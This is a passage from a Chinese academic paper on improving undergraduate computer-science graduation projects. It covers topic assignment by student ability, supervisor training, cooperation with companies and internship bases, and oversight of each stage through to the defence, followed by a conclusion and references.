毕业设计指导教师的选题要注重理论教学性、研究创新性和生产实用性,大学生往往对与生活生产实际相结合的课程有着浓厚的学习兴趣,由此可激发出他们的学习爱好,促使他们自己主动去学而不是被动接受。笔者调差显示,学生愿意选择应用性课题的主动性显著地高于其他类型的选题,这就反应出毕设论文选题应该最大可能地接近生产及生活实际。作为指导教师,选题要透射出教学实质,既要重点强调原有知识,承上启下,又要注重所学知识的连贯性及一致性,这样可帮助学生更深层次地吸收知识,从而更好更快地得到提升。指导教师在毕设任务分工中要充分考虑学生之间的差异,而学生之间的差异性主要体现在理论知识的掌握程度和实践动手能力等方面,所以教师对于选题的准备要具有层次性,按课题的难易度合理地对不同层次学生进行分工。若将较为简单的选题分配给能力较强的学生,他们往往能提前完成毕设内容,无法充分发挥自身的科研水平;若将较难的课题分配给能力较差学生,则会使学生感到极大的压力,觉得设计不知从何做起,指导教师碰到如此情形也不得不花费大量的精力指导,使以学生自学为主的毕设拘泥于形式,得不到预期的效果。这就要求教师按照学生的能力水平合理地安排课题分工,最大可能地接近学生实际水平,促进他们的学习欲望,激发自主解决实践问题的能力。

3.3 加强指导教师的理论知识和实践经验

毕业设计既涉及理论知识又涉及实际操作技能。因此,指导教师既要能从理论上指导,又能给予实践上的帮助。学院可为专业教师提供与企业合作的平台,教师参与企业项目,或到软件企业进行培训,增强实践经验;同时学院也可聘请企业有经验的工程师作为指导教师,从两个方面共同增强指导教师的实际指导能力。

3.4 积极加强与企业及实习基地的合作,寻求更好的毕设指导方式

当代企业对计算机专业毕业生的要求较为实际,既要求有理论基础又要求有动手能力和实践经验,若毕业生没有相关的实践或培训的经历,在工作中会遭受很大的压力且难以满足工作性质需要,往往出现企业招不到合适人才而学生又难以找到合适工作的两难状况。

学校的教学主要侧重于基本概念、基本理论以及基本算法的教学。现在的企业和实习基地针对当今大学生普遍存在的眼高手低、动手能力差等问题,可提出具体实训的培训方式。企业和实习基地可以项目开发环境的熟练使用为目的,对程序代码的使用为方式,培训计算机专业学生的工作能力。但实习基地偏重应用,对软件开发的相关思想、方法、理论的指导较少,很多学生在实习结束后,虽然能熟练地操作开发环境,运用相关的代码,但是很难独立地做出完整的项目。

学院可根据上述具体情况积极探讨与企业和实习基地的合作,以理论教学为主,以实习基地为辅,将毕业设计的课题实施过程的指导工作交由企业和实习基地,并进行相应的成绩考核。而毕业设计任务的分配及论文的指导工作则由本院指导教师继续承担,也进行相应的考核,最后可将两部分考核成绩综合在一起作为学生毕业设计的总成绩。这样,学生既可利用毕业设计的时间段到企业进行项目实训,又可在特定的专业方向上进行深入学习。

3.5 加强毕业设计各环节的监督力度

学院可考虑成立专门的毕设指导委员会,成员主要由学院领导、各系主任及中青年骨干教师组成。毕设指导委员会主要根据毕设教学的实际状况,制定相关的管理制度,负责监督毕设的整体过程。并以各系教研室为单位进一步成立毕设指导小组,负责毕设教学内容的具体执行。

学院还可在毕业设计期间采用动态管理的方式指导毕业设计工作,组织毕业设计前的动员工作并组织参加毕业设计的全体教师认真学习有关毕业设计要求的文件、学生完成毕业设计选题工作,要求指导教师与学生之间进行课题讨论及任务分配,这样学生可以熟悉课题并提前做好相关准备;要求学生做好开题报告,合理安排好毕业实习;到毕设中期阶段,学院应组织毕业设计阶段性成果检查,及时了解并检查各课题任务完成进度,积极解决毕业设计教学工作中存在的问题。毕业答辩时应成立答辩委员会,采取指导教师现场回避等原则。答辩结束后,由答辩委员会对每位学生的答辩成绩进行综合评审,对于部分较差者可实行“二次答辩”,以提升毕业设计的质量。

4 结束语

大学本科计算机专业毕业设计教学工作质量的提升,主要由学生、指导教师和学院教学环境的整体配合与协作才能完成。有效的毕业设计教学改革可大大提高计算机专业毕业生的专业素质,促进能力的培养及提高毕业论文的研究水平,改善学生学习的主动性,进一步培养学生的实践和团队合作能力。但毕设的改革仍存在一些问题,如校外实训基地对毕业设计工作的整体把握能力较弱、对论文的规范性要求及课题的科学性重视不够等问题,今后的毕业设计改革任务还很艰巨。

参考文献

[1]韩建民,王丽侠,贾洞.大学生程序设计能力的层次化培养模式[J].计算机教育,2012(3):18-22.

[2]温艳冬.关于提高计算机专业毕业设计质量的对策研究[J].计算机教育,2011(12):103-106.

[3]武卫莉.提高大学生毕业设计(论文)的教学质量研究[J].实验技术与管理,2012(2):153-155.

[4]王玉锋,刘保旨,李雪梅,等.计算机专业本科毕业设计的探讨[J].计算机教育,2010(1):77-79.

推荐期刊